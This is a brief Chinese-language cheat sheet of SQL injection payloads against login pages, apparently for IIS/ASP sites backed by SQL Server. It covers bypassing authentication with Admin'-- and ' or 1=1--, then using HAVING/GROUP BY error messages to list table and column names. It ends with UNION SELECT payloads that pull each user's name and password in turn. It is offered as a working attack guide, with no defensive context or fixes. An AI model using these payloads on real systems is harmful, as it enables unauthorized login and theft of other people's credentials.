1,在登陸界面中知道用戶名時(比如Admin),在用戶名處輸入Admin'--
// SELECT * FROM User WHERE UserName='Admin'--
此時,密碼被無效
2,不知道用戶名時,在密碼處輸入 ' or 1=1--
//SELECT * FROM User WHERE UserName='' or 1=1-- 恆爲真
3,微軟爲了程序開發人員的方便,在Script執行出錯時,都通過%systemroot%\WINNT\HELP\iisHelp\common\500-100.asp腳本將發生的錯誤傳回瀏覽器。
在注入語句(登陸口)後輸入 ' HAVING 1=1 --會報錯。輸出數據表名和一個段名(如UserID)
再次輸入 'GROUP BY UserID HAVING 1=1-- 然後得到下一個表名。。。繼續重複可得到表中所有段。
4,獲取用戶賬號密碼:
'UNION SELECT UserName,1,1,1 FROM tbUser WHERE UserName > 'a' --
出現IIS返回信息:將nvarchar 'admin' 數值轉換爲INT出錯-----得到用戶名
得到密碼: ' UNION SELECT Password,1,1,1 FROM User WHERE UserName='admin'--
繼續得到其它人的賬戶:
'UNION SELECT Password,1,1,1 FROM User WHERE UserName > 'admin'--
重複替換admin位置即可